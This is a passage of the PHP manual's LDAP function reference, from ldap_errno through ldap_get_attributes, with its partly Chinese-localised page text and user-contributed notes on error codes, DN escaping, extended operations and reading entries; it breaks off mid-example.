// must be "objectclass=*" to work.
$res = @ldap_search($ld, "o=Myorg, c=DE", "objectclass");
if (!$res) {
echo "LDAP-Errno: " . ldap_errno($ld) . "<br />\n";
echo "LDAP-Error: " . ldap_error($ld) . "<br />\n";
die("Argh!<br />\n");
}
$info = ldap_get_entries($ld, $res);
echo $info["count"] . " matching entries.<br />\n";
?>

参见

  • ldap_err2str() - Convert LDAP error number into string error message
  • ldap_error() - Return the LDAP error message of the last LDAP command

User Contributed Notes

11-Apr-2002 04:23
Common LDAP error codes

LDAP_SUCCESS                    0x00
LDAP_OPERATIONS_ERROR           0x01
LDAP_PROTOCOL_ERROR             0x02
LDAP_TIMELIMIT_EXCEEDED         0x03
LDAP_SIZELIMIT_EXCEEDED         0x04
LDAP_COMPARE_FALSE              0x05
LDAP_COMPARE_TRUE               0x06
LDAP_AUTH_METHOD_NOT_SUPPORTED  0x07
LDAP_STRONG_AUTH_REQUIRED       0x08
// Not used in LDAPv3
LDAP_PARTIAL_RESULTS            0x09

// Next 5 new in LDAPv3
LDAP_REFERRAL           0x0a
LDAP_ADMINLIMIT_EXCEEDED        0x0b
LDAP_UNAVAILABLE_CRITICAL_EXTENSION     0x0c
LDAP_CONFIDENTIALITY_REQUIRED   0x0d
LDAP_SASL_BIND_INPROGRESS       0x0e

LDAP_NO_SUCH_ATTRIBUTE          0x10
LDAP_UNDEFINED_TYPE             0x11
LDAP_INAPPROPRIATE_MATCHING     0x12
LDAP_CONSTRAINT_VIOLATION       0x13
LDAP_TYPE_OR_VALUE_EXISTS       0x14
LDAP_INVALID_SYNTAX             0x15

LDAP_NO_SUCH_OBJECT             0x20   /* 32 */
LDAP_ALIAS_PROBLEM              0x21
LDAP_INVALID_DN_SYNTAX          0x22
// Next two not used in LDAPv3
LDAP_IS_LEAF                    0x23
LDAP_ALIAS_DEREF_PROBLEM        0x24

LDAP_INAPPROPRIATE_AUTH         0x30   /* 48 */
LDAP_INVALID_CREDENTIALS        0x31   /* 49 */
LDAP_INSUFFICIENT_ACCESS        0x32
LDAP_BUSY                       0x33
LDAP_UNAVAILABLE                0x34
LDAP_UNWILLING_TO_PERFORM       0x35
LDAP_LOOP_DETECT                0x36

LDAP_SORT_CONTROL_MISSING       0x3C    /* 60 */
LDAP_INDEX_RANGE_ERROR          0x3D    /* 61 */

LDAP_NAMING_VIOLATION           0x40
LDAP_OBJECT_CLASS_VIOLATION     0x41
LDAP_NOT_ALLOWED_ON_NONLEAF     0x42
LDAP_NOT_ALLOWED_ON_RDN         0x43
LDAP_ALREADY_EXISTS             0x44    /* 68 */
LDAP_NO_OBJECT_CLASS_MODS       0x45
LDAP_RESULTS_TOO_LARGE          0x46
// Next two for LDAPv3
LDAP_AFFECTS_MULTIPLE_DSAS      0x47
LDAP_OTHER                      0x50

// Used by some APIs
LDAP_SERVER_DOWN                0x51
LDAP_LOCAL_ERROR                0x52
LDAP_ENCODING_ERROR             0x53
LDAP_DECODING_ERROR             0x54
LDAP_TIMEOUT                    0x55
LDAP_AUTH_UNKNOWN               0x56
LDAP_FILTER_ERROR               0x57    /* 87 */
LDAP_USER_CANCELLED             0x58
LDAP_PARAM_ERROR                0x59
LDAP_NO_MEMORY                  0x5a

// Preliminary LDAPv3 codes
LDAP_CONNECT_ERROR              0x5b
LDAP_NOT_SUPPORTED              0x5c
LDAP_CONTROL_NOT_FOUND  0x5d
LDAP_NO_RESULTS_RETURNED        0x5e
LDAP_MORE_RESULTS_TO_RETURN     0x5f
LDAP_CLIENT_LOOP        0x60
LDAP_REFERRAL_LIMIT_EXCEEDED    0x61
ahall at mirapoint dot com 30-Jul-2001 07:16
Couple of good error codes to get started.  If you want to detect failure of ldap_add due to the record already existing, ldap_error == 0x44.  This means, you can do something like:

$r = ldap_add($ds, $dn, $info);
if (!$r) {
    if (ldap_errno($ds) == 0x44) {
         // Do something about it
    } else {
         // A real failure
    }
}

Similarly, on ldap_delete, you will get a 0x20 value (No Such Object) if you try to delete something that isn't there.


Return the LDAP error message of the last LDAP command

  • ? ldap_errno
  • ldap_escape ?
  • PHP Manual
  • LDAP 函数
  • Return the LDAP error message of the last LDAP command

ldap_error

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_error — Return the LDAP error message of the last LDAP command

说明

ldap_error(LDAP\Connection $ldap): string

Returns the string error message explaining the error generated by the last LDAP command for the given ldap. While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

返回值

Returns string error message.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

参见

  • ldap_err2str() - Convert LDAP error number into string error message
  • ldap_errno() - Return the LDAP error number of the last LDAP command

User Contributed Notes

Michael Newton 18-Nov-2017 12:23
Note that you can sometimes get more detailed error messages by getting the value of the LDAP_OPT_DIAGNOSTIC_MESSAGE option.

For example, after a recent connection error the two gave very different info:

<?php
$conn = ldap_connect($server);
ldap_search($conn, $dn, $query);

echo "ldap_error: " . ldap_error($conn);
ldap_get_option($conn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $err);
echo "ldap_get_option: $err";
?>

This resulted in:

  ldap_error: Can't contact LDAP server
  ldap_get_option: TLS: hostname does not match CN in peer certificate
edA-qa at disemia dot com 28-Jul-2008 06:43
For those wondering, this function appears to do the same thing as:
<?php
ldap_err2str( ldap_errno() );
?>


Escape a string for use in an LDAP filter or DN

  • ? ldap_error
  • ldap_exop_passwd ?
  • PHP Manual
  • LDAP 函数
  • Escape a string for use in an LDAP filter or DN

ldap_escape

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

ldap_escape — Escape a string for use in an LDAP filter or DN

说明

ldap_escape(string $value, string $ignore = "", int $flags = 0): string

Escapes value for use in the context implied by flags.

参数

value

The value to escape.

ignore

Characters to ignore when escaping.

flags

The context the escaped string will be used in: LDAP_ESCAPE_FILTER for filters to be used with ldap_search(), or LDAP_ESCAPE_DN for DNs. If neither flag is passed, all chars are escaped.

返回值

Returns the escaped string.

示例

When building an LDAP filter, you should use ldap_escape with LDAP_ESCAPE_FILTER flag.

Example #1 Searching for an email address

<?php
// $ds is a valid LDAP\Connection instance for a directory server

// $mail is an email address provided by the user in a form

$base = "o=My Company, c=US";
$filter = "(mail=".ldap_escape($mail, "", LDAP_ESCAPE_FILTER).")";

$sr = ldap_search($ds, $base, $filter, array("sn", "givenname", "mail"));

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." entries returned\n";
?>

User Contributed Notes

support at extollit dot com 24-Feb-2020 06:44
Suppose you want to reverse the operation, here is a way to "ldap_unescape"

<?php

function ldap_unescape($string) {
    return
        preg_replace_callback(
            "/\\\\[\da-z]{2}/",
            function ($matches) {
                $match = array_shift($matches);
                return hex2bin(substr($match, 1));
            },
            $string
        );
}

$result = ldap_unescape("uid=\\61\\6c\\70\\68\\6f\\6e\\7a\\6f,ou=people,dc=foo,dc=com"); // uid=alphonzo,ou=people,dc=foo,dc=com

?>
martin dot keckeis1 at gmail dot com 09-Oct-2015 08:48
You can use it like this for filtering

<?php
$badSearchInput = 'Domain\username';

$escapedSearchInput = ldap_escape($badSearchInput, null, LDAP_ESCAPE_FILTER);
?>


PASSWD extended operation helper

  • ? ldap_escape
  • ldap_exop_refresh ?
  • PHP Manual
  • LDAP 函数
  • PASSWD extended operation helper

ldap_exop_passwd

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop_passwd — PASSWD extended operation helper

说明

ldap_exop_passwd(
LDAP\Connection $ldap,
string $user = "",
string $old_password = "",
string $new_password = "",
array &$controls = null
): string|bool

Performs a PASSWD extended operation.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

user

dn of the user to change the password of.

old_password

The old password of this user. May be ommited depending of server configuration.

new_password

The new password for this user. May be omitted or empty to have a generated password.

controls

If provided, a password policy request control is send with the request and this is filled with an array of LDAP Controls returned with the request.

返回值

Returns the generated password if new_password is empty or omitted. Otherwise returns true on success and false on failure.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

示例

Example #1 PASSWD extended operation

<?php
$ds = ldap_connect("localhost"); // assuming the LDAP server is on this host

if ($ds) {
// bind with appropriate dn to give update access
$bind = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");
if (!$bind) {
echo "Unable to bind to LDAP server";
exit;
}

// use PASSWD EXOP to change the user password for a generated one
$genpw = ldap_exop_passwd($ds, "cn=root, o=My Company, c=US", "secret");
if ($genpw) {
// use the generated password to bind
$bind = ldap_bind($ds, "cn=root, o=My Company, c=US", $genpw);
}

// set the password back to "secret"
ldap_exop_passwd($ds, "cn=root, o=My Company, c=US", $genpw, "secret");

ldap_close($ds);
} else {
echo "Unable to connect to LDAP server";
}
?>

参见

  • ldap_exop() - Performs an extended operation
  • ldap_parse_exop() - Parse result object from an LDAP extended operation

User Contributed Notes

dumm at tutoerilio dot gnu 20-Aug-2018 02:27
Schnaberhagi summberli? rumbasuuna gumpperlimuss!


Refresh extended operation helper

  • ? ldap_exop_passwd
  • ldap_exop_sync ?
  • PHP Manual
  • LDAP 函数
  • Refresh extended operation helper

ldap_exop_refresh

(PHP 7 >= 7.3.0, PHP 8)

ldap_exop_refresh — Refresh extended operation helper

说明

ldap_exop_refresh(LDAP\Connection $ldap, string $dn, int $ttl): int|false

Performs a Refresh extended operation and returns the data.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

dn of the entry to refresh.

ttl

Time in seconds (between 1 and 31557600) that the client requests that the entry exists in the directory before being automatically removed.

返回值

From RFC: The responseTtl field is the time in seconds which the server chooses to have as the time-to-live field for that entry. It must not be any smaller than that which the client requested, and it may be larger. However, to allow servers to maintain a relatively accurate directory, and to prevent clients from abusing the dynamic extensions, servers are permitted to shorten a client-requested time-to-live value, down to a minimum of 86400 seconds (one day). false will be returned on error.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

参见

  • ldap_exop() - Performs an extended operation

User Contributed Notes

Roland Gruber 16-Jul-2018 03:48
The following workaround can be used to run the refresh command in PHP 7.2.

$dn= 'cn=user,dc=test,dc=org';
$ttl = 3600;
$data = '';
$data .= '80' . sprintf("%'.02x", strlen($dn)) . bin2hex($dn);
$data .= '81' . sprintf("%'.02x", 4) . sprintf("%'.08x", $ttl);
$data = hex2bin('30' . sprintf("%'.02x", strlen($data)/2) . $data);
$success = ldap_exop($ldapHandle, LDAP_EXOP_REFRESH, $data);


Performs an extended operation

  • ? ldap_exop_refresh
  • ldap_exop_whoami ?
  • PHP Manual
  • LDAP 函数
  • Performs an extended operation

ldap_exop_sync

(PHP 8 >= 8.3.0)

ldap_exop_sync — Performs an extended operation

说明

ldap_exop_sync(
LDAP\Connection $ldap,
string $request_oid,
string $request_data = null,
array $controls = null,
string &$response_data = null,
string &$response_oid = null
): LDAP\Result|bool

Warning

本函数还未编写文档，仅有参数列表。

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

request_oid

request_data

controls

response_data

response_oid

返回值

参见

  • ldap_exop() - Performs an extended operation

User Contributed Notes

There are no user contributed notes for this page.


WHOAMI extended operation helper

  • ? ldap_exop_sync
  • ldap_exop ?
  • PHP Manual
  • LDAP 函数
  • WHOAMI extended operation helper

ldap_exop_whoami

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop_whoami — WHOAMI extended operation helper

说明

ldap_exop_whoami(LDAP\Connection $ldap): string|false

Performs a WHOAMI extended operation and returns the data.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

返回值

The data returned by the server, or false on error.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

参见

  • ldap_exop() - Performs an extended operation

User Contributed Notes

There are no user contributed notes for this page.


Performs an extended operation

  • ? ldap_exop_whoami
  • ldap_explode_dn ?
  • PHP Manual
  • LDAP 函数
  • Performs an extended operation

ldap_exop

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop — Performs an extended operation

说明

ldap_exop(
LDAP\Connection $ldap,
string $request_oid,
string $request_data = null,
array $controls = null,
string &$response_data = ?,
string &$response_oid = ?
): mixed

Performs an extended operation on the specified ldap with request_oid the OID of the operation and request_data the data.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

request_oid

The extended operation request OID. You may use one of LDAP_EXOP_START_TLS, LDAP_EXOP_MODIFY_PASSWD, LDAP_EXOP_REFRESH, LDAP_EXOP_WHO_AM_I, LDAP_EXOP_TURN, or a string with the OID of the operation you want to send.

request_data

The extended operation request data. May be NULL for some operations like LDAP_EXOP_WHO_AM_I, may also need to be BER encoded.

controls

Array of LDAP Controls to send with the request.

response_data

Will be filled with the extended operation response data if provided. If not provided you may use ldap_parse_exop on the result object later to get this data.

response_oid

Will be filled with the response OID if provided, usually equal to the request OID.

返回值

When used with response_data, returns true on success or false on error. When used without response_data, returns a result identifier or false on error.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
7.3.0 | Support for serverctrls added

示例

Example #1 Whoami extended operation

<?php
$ds = ldap_connect("localhost"); // assuming the LDAP server is on this host

if ($ds) {
// bind with appropriate dn to give update access
$bind = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");
if (!$bind) {
echo "Unable to bind to LDAP server";
exit;
}

// Call WHOAMI EXOP
$r = ldap_exop($ds, LDAP_EXOP_WHO_AM_I);

// Parse the result object
ldap_parse_exop($ds, $r, $retdata);
// Output: string(31) "dn:cn=root, o=My Company, c=US"
var_dump($retdata);

// Same thing using $response_data parameter
$success = ldap_exop($ds, LDAP_EXOP_WHO_AM_I, NULL, NULL, $retdata, $retoid);
if ($success) {
var_dump($retdata);
}

ldap_close($ds);
} else {
echo "Unable to connect to LDAP server";
}
?>

参见

  • ldap_parse_result() - Extract information from result
  • ldap_parse_exop() - Parse result object from an LDAP extended operation
  • ldap_exop_whoami() - WHOAMI extended operation helper
  • ldap_exop_refresh() - Refresh extended operation helper
  • ldap_exop_passwd() - PASSWD extended operation helper

User Contributed Notes

Roland Gruber 16-Jul-2018 03:50
The following can be used to run the refresh command in PHP 7.2 as ldap_exop_refresh comes with 7.3.

$dn= 'cn=user,dc=test,dc=org';
$ttl = 3600;
$data = '';
$data .= '80' . sprintf("%'.02x", strlen($dn)) . bin2hex($dn);
$data .= '81' . sprintf("%'.02x", 4) . sprintf("%'.08x", $ttl);
$data = hex2bin('30' . sprintf("%'.02x", strlen($data)/2) . $data);
$success = ldap_exop($ldapHandle, LDAP_EXOP_REFRESH, $data);


Splits DN into its component parts

  • ? ldap_exop
  • ldap_first_attribute ?
  • PHP Manual
  • LDAP 函数
  • Splits DN into its component parts

ldap_explode_dn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_explode_dn — Splits DN into its component parts

说明

ldap_explode_dn(string $dn, int $with_attrib): array|false

Splits the DN returned by ldap_get_dn() and breaks it up into its component parts. Each part is known as Relative Distinguished Name, or RDN.

参数

dn

The distinguished name of an LDAP entity.

with_attrib

Used to request if the RDNs are returned with only values or their attributes as well. To get RDNs with the attributes (i.e. in attribute=value format) set with_attrib to 0 and to get only values set it to 1.

返回值

Returns an array of all DN components, 或者在失败时返回 false. The first element in the array has count key and represents the number of returned values, next elements are numerically indexed DN components.

User Contributed Notes

emepese 22-Oct-2017 03:25
Probably not the best way but for those who are looking for a way to get de CN of a DN without the "cn=" part this is a function with a regex pattern:

<?php
    function getCNofDN($dn) {
        $return=preg_match('/[^cn=]([^,]*)/i',$dn,$dn);
        return($dn[0]);
    }

  echo getCNofDN("cn=emepese,cn=someLevel,dc=someCompany");

// Will print "emepese"

?>
eero at eero dot info 14-Jun-2017 07:54
I was converting LDAP related code to PHP7 which doesn't support /e modifier with preg_replace anymore, but instead you should use preg_replace_callback. This might help someone working on the same thing:

<?php

$value = 'Universit?t';

# < PHP7 compatible code
echo preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);

# >= PHP7 compatible code
echo preg_replace_callback('/\\\([0-9A-Fa-f]{2})/', function ($matches) { return chr(hexdec($matches[1])); }, $value);
hello+php at NOSPAM dot renoirboulanger dot com 20-Jul-2012 07:20
I came accros this page and enjoyed the comments.

Since a LDAP string can sometimes be lengthy and have many attributes, I needed to be able to sort through all that is in.

In my case, I needed to get the subdomain part and other parameters.

Here is how I built my method.
<?php
    /**
     * Parse, and format a DN string to Array
     *
     * Read a LDAP DN, and return an array keys
     * listing all similar attributes.
     *
     * Also takes care of the character escape and unescape
     *
     * Example:
     * CN=username,OU=UNITNAME,OU=Region,OU=Country,DC=subdomain,DC=domain,DC=com
     *
     * Would normally return:
     * Array (
     *     [count] => 9
     *     [0] => CN=username
     *     [1] => OU=UNITNAME
     *     [2] => OU=Region
     *     [5] => OU=Country
     *     [6] => DC=subdomain
     *     [7] => DC=domain
     *     [8] => DC=com
     * )
     *
     * Returns instead a manageable array:
     * array (
     *     [CN] => array( username )
     *     [OU] => array( UNITNAME, Region, Country )
     *     [DC] => array ( subdomain, domain, com )
     * )
     *
     *
     * @author gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27 (part of the character replacement)
     * @author Renoir Boulanger
     *
     * @param  string $dn          The DN
     * @return array
     */
    function parseLdapDn($dn)
    {
        $parsr=ldap_explode_dn($dn, 0);
        //$parsr[] = 'EE=S?me Kraz? string';
        //$parsr[] = 'AndBogusOne';
        $out = array();
        foreach($parsr as $key=>$value){
            if(FALSE !== strstr($value, '=')){
                list($prefix,$data) = explode("=",$value);
                $data=preg_replace("/\\\\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\\\1')).''", $data);
                if(isset($current_prefix) && $prefix == $current_prefix){
                    $out[$prefix][] = $data;
                } else {
                    $current_prefix = $prefix;
                    $out[$prefix][] = $data;
                }
            }
        }
        return $out;
    }
?>
DavidSmith at byu dot net 15-Sep-2003 09:06
[ Editor's Note: The segfault has been fixed and will not occur in PHP 4.3.4 or PHP 5.0.0 when they are released.  However, it is still important to escape special characters as detailed below. ]

If your DN contains < or > characters, you must escape them with a backslash or ldap_explode_dn() will give you a "wrong parameter count" error or even a segmentation fault.

For example, these calls will fail with a "wrong parameter count" or a seg fault:

  ldap_explode_dn( "cn=<bob>,dc=example,dc=com", 0 );
  ldap_explode_dn( 'cn=<bob>,dc=example,dc=com', 0 );

But this will succeed

  ldap_explode_dn( "cn=\<bob\>,dc=example,dc=com", 0 );

Notice also that the < and > are escaped with hex codes as noted above. This function is a nice wrapper that properly formats all DNs and can safely be called with < and > characters, and UTF-8 characters:

function my_explode_dn( $dn, $with_attributes=0 )
{
        $dn = addcslashes( $dn, "<>" );
        $result = ldap_explode_dn( $dn, $with_attributes );
        //translate hex code into ascii again
        foreach( $result as $key => $value )
                $result[$key] = preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
        return $result;
}

I am using php 4.3.1. Good luck!
gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27
Keep attention on UTF8 encoded DNs. Since openLDAP >=2.1.2
ldap_explode_dn turns unprintable chars (in the ASCII sense, UTF8
encoded) into \<hexcode>.

Example:

$dn="ou=Universit?t ,c=DE";
var_dump(ldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(19) "ou=Universit\C3\A4t"
  [1]=>
  string(4) "c=DE"
}

Unfortunately, PHP don't support the ldap functions ldap_str2dn and
ldap_dn2str, but by means of preg_replace a workaround is possible to
recover the old behaviour of ldap_explode_dn

// workaround
function myldap_explode_dn($dn,$with_attribute){

$result=ldap_explode_dn ($dn, $with_attrib);
 //translate hex code into ascii again
    foreach($result as $key=>$value){
          $result[$key]=preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
    }
    return($result);

}
//
//then follows for the example

$dn="ou=Universit?t ,c=DE";
var_dump(myldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(15) "ou=Universit?t"
  [1]=>
  string(4) "c=DE"
}
bs at muekno dot de 23-Oct-2001 04:02
Copying is much better than typing!!!!
Just modify the constants.
Best wishes (and thanX 4 this helpfull site),
Bernd Schwaegerl
Mueller-Knoche GmbH, Systemhaus fuer EDV-Loesungen

# Example:

$HOST = "Yourhostname";
$USER_DN = "Yourldapuser_dn";
$PWD = "Ldapuserpassword";
$BASE_DN = "o=Your_organisation";
$SEARCH_OBJECT="sn=YOUR_SEARCH_PERSON_OBJECTS_SN";

$ldap_handle=ldap_connect($HOST);
$bind_result=ldap_bind($ldap_handle,$USER_DN,$PWD);

$search_result=ldap_search($ldap_handle,$BASE_DN,$SEARCH_OBJECT);
$result=ldap_get_entries($ldap_handle,$search_result);
$result_array=ldap_get_entries($ldap_handle,$result);
$whole_dn=$result_array[0]["dn"];

$dn_parts=ldap_explode_dn($whole_dn,0);


Return first attribute

  • ? ldap_explode_dn
  • ldap_first_entry ?
  • PHP Manual
  • LDAP 函数
  • Return first attribute

ldap_first_attribute

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_first_attribute — Return first attribute

说明

ldap_first_attribute(LDAP\Connection $ldap, LDAP\ResultEntry $entry): string|false

Gets the first attribute in the given entry. Remaining attributes are retrieved by calling ldap_next_attribute() successively.

Similar to reading entries, attributes are also read one by one from a particular entry.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

entry

LDAP\ResultEntry 实例。

返回值

Returns the first attribute in the entry on success and false on error.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The entry parameter expects an LDAP\ResultEntry instance now; previously, a valid ldap result entry resource was expected.
8.0.0 | The unused third parameter ber_identifier is no longer accepted.

参见

  • ldap_next_attribute() - Get the next attribute in result
  • ldap_get_attributes() - Get attributes from a search result entry

User Contributed Notes

There are no user contributed notes for this page.


Return first result id

  • ? ldap_first_attribute
  • ldap_first_reference ?
  • PHP Manual
  • LDAP 函数
  • Return first result id

ldap_first_entry

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_first_entry — Return first result id

说明

ldap_first_entry(LDAP\Connection $ldap, LDAP\Result $result): LDAP\ResultEntry|false

Returns the entry identifier for first entry in the result. This entry identifier is then supplied to ldap_next_entry() routine to get successive entries from the result.

Entries in the LDAP result are read sequentially using the ldap_first_entry() and ldap_next_entry() functions.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

result

通过 ldap_list() 或者 ldap_search() 返回的 LDAP\Result 实例。

返回值

Returns an LDAP\ResultEntry instance, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The result parameter expects an LDAP\Result instance now; previously, a valid ldap result resource was expected.
8.1.0 | Returns an LDAP\ResultEntry instance now; previously, a resource was returned.

参见

  • ldap_get_entries() - Get all result entries

User Contributed Notes

There are no user contributed notes for this page.


Return first reference

  • ? ldap_first_entry
  • ldap_free_result ?
  • PHP Manual
  • LDAP 函数
  • Return first reference

ldap_first_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_first_reference — Return first reference

说明

ldap_first_reference(LDAP\Connection $ldap, LDAP\Result $result): LDAP\ResultEntry|false
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

sami at sipponen dot com 16-Nov-2004 03:56
Hopefully the code below help you to loop through references with LDAP3 servers. It took me a significant amount of time to figure out how this thing works and now I have successfully used this with Active Directory to loop through severial subdomains.

Special thanks to Stig Venaas who helped me to get started. (the original problem was that ldap_parse_reference function was missing in Windows builds. At least it will now work with Windows PHP versions 5.1.0-DEV and higher after I made a bug report)

function crawlRefs($user, $passw, $host, $dn, $port, $filter) {

  //Create the basic connection for fetching referrals
  $adConn = ldap_connect($host, $port) or die("System couldn't connect!");
  ldap_set_option($adConn, LDAP_OPT_PROTOCOL_VERSION, 3) or die ("System couldn't make first protocol option setting!");
  ldap_set_option($adConn, LDAP_OPT_REFERRALS, 0) or die ("System couldn't make second protocol option setting!");
  $bd = ldap_bind($adConn, $user, $passw) or die ("System couldn't bind the connection!");
  $search = ldap_search($adConn, $dn, $filter);

  //Find referrals
  $ref = ldap_first_reference($adConn, $search);
  while ($ref) {
    if (ldap_parse_reference($adConn, $ref, $referrals)) {
      while ($referral = array_shift($referrals)) {
        echo $referral . "<br>\n";
      }
    }
  $ref = ldap_next_reference($adConn, $ref);
}


Free result memory

  • ? ldap_first_reference
  • ldap_get_attributes ?
  • PHP Manual
  • LDAP 函数
  • Free result memory

ldap_free_result

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_free_result — Free result memory

说明

ldap_free_result(LDAP\Result $result): bool

Frees up the memory allocated internally to store the result. All result memory will be automatically freed when the script terminates.

Typically all the memory allocated for the LDAP result gets freed at the end of the script. In case the script is making successive searches which return large result sets, ldap_free_result() could be called to keep the runtime memory usage by the script low.

参数

result

通过 ldap_list() 或者 ldap_search() 返回的 LDAP\Result 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The result parameter expects an LDAP\Result instance now; previously, a valid ldap result resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Get attributes from a search result entry

  • ? ldap_free_result
  • ldap_get_dn ?
  • PHP Manual
  • LDAP 函数
  • Get attributes from a search result entry

ldap_get_attributes

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_attributes — Get attributes from a search result entry

说明

ldap_get_attributes(LDAP\Connection $ldap, LDAP\ResultEntry $entry): array

Reads attributes and values from an entry in the search result.

Having located a specific entry in the directory, you can find out what information is held for that entry by using this call. You would use this call for an application which "browses" directory entries and/or where you do not know the structure of the directory entries. In many applications you will be searching for a specific attribute such as an email address or a surname, and won't care what other data is held.

return_value["count"] = number of attributes in the entry
return_value[0] = first attribute
return_value[n] = nth attribute

return_value["attribute"]["count"] = number of values for attribute
return_value["attribute"][0] = first value of the attribute
return_value["attribute"][i] = (i+1)th value of the attribute

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

entry

LDAP\ResultEntry 实例。

返回值

Returns a complete entry information in a multi-dimensional array.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The entry parameter expects an LDAP\ResultEntry instance now; previously, a valid ldap result entry resource was expected.

示例

Example #1 Show the list of attributes held for a particular directory entry

<?php
// $ds is a valid LDAP\Connection instance for a directory server

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = ldap_get_attributes($ds, $entry);

echo $attrs["count"] . " attributes held for this entry:<p>";

for ($i=0; $i < $attrs["count"]; $i++) {
echo $attrs[$i] . "<br />";
}
?>

参见

  • ldap_first_attribute() - Return first attribute
  • ldap_next_attribute() - Get the next attribute in result

User Contributed Notes

dunc at rumbletum dot org 18-Oct-2007 02:52
I spent quite a while scratching my head about how to read operational attributes such as create and modify timestamps.

This function solved it....

function get_entry_system_attrs( $ds, $dn, $deref=LDAP_DEREF_NEVER )
{
   $conn = $ds;
   $attrs = array( 'creatorsname', 'createtimestamp', 'modifiersname',
         'structuralObjectClass', 'entryUUID',  'modifytimestamp',
         'subschemaSubentry', 'hasSubordinates', '+' );
   $search = @ldap_read( $conn, $dn, '(objectClass=*)', $attrs, 0, 0, 0, $deref );
   if( ! $search )
      return false;
   $entry = ldap_first_entry( $conn, $search );
   if( ! $entry)
       return false;
   $attrs = ldap_get_attributes( $conn, $entry );
   if( ! $attrs )
      return false;
   if( ! isset( $attrs['count'] ) )
      return false;
   $count = $attrs['count'];
   unset( $attrs['count'] );
   $return_attrs = array();
   for( $i=0; $i<$count; $i++ ) {
      $attr_name = $attrs[$i];
      unset( $attrs[$attr_name]['count'] );
      $return_attrs[$attr_name] = $attrs[$attr_name];
   }
   return $return_attrs;
}
Snezko Snezak 27-Jul-2006 01:06
Code and function to extract all attributes from all entryes in a certain DN. Maybe not the most timewise efficient but it works.

$entry = ldap_first_entry($ds, $sr);
write_attr($entry,$ds);
for ($i = 0; $i < $n_entries; $i++){
   $entry = ldap_next_entry($ds, $entry);
   write_attr($entry,$ds);
}

function write_attr($entry,$ds){
   $attrs = ldap_get_attributes ($ds, $entry);
   for ($j = 0; $j < $attrs["count"]; $j++){
      $attr_name = $attrs[$j];
      $attrs["$attr_name"]["count"] . "\n";
      for ($k = 0; $k < $attrs["$attr_name"]["count"]; $k++) {
             echo ">>>>>>";
             echo $attr_name.": ".$attrs["$attr_name"][$k]."\n";
      }
   }
}
php dot net at hiddemann dot org 02-Jul-2004 10:59
Note that ldap_get_attributes fetches attributes AND values from the LDAP server. Depending on the data stored in the entry, the following code might work a dozen times faster (or even better, but faster in general) than the code in Example 1:

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = array();
$attribute = ldap_first_attribute($ds,$entry,$identifier);
while ($attribute) {
   $attrs[] = $attribute;
   $attribute=ldap_next_attribute($ds,$entry,$identifier);
}

echo count($attrs) . " attributes held for this entry:<p>";

for ($i=0; $i<count($attrs); $i++) {
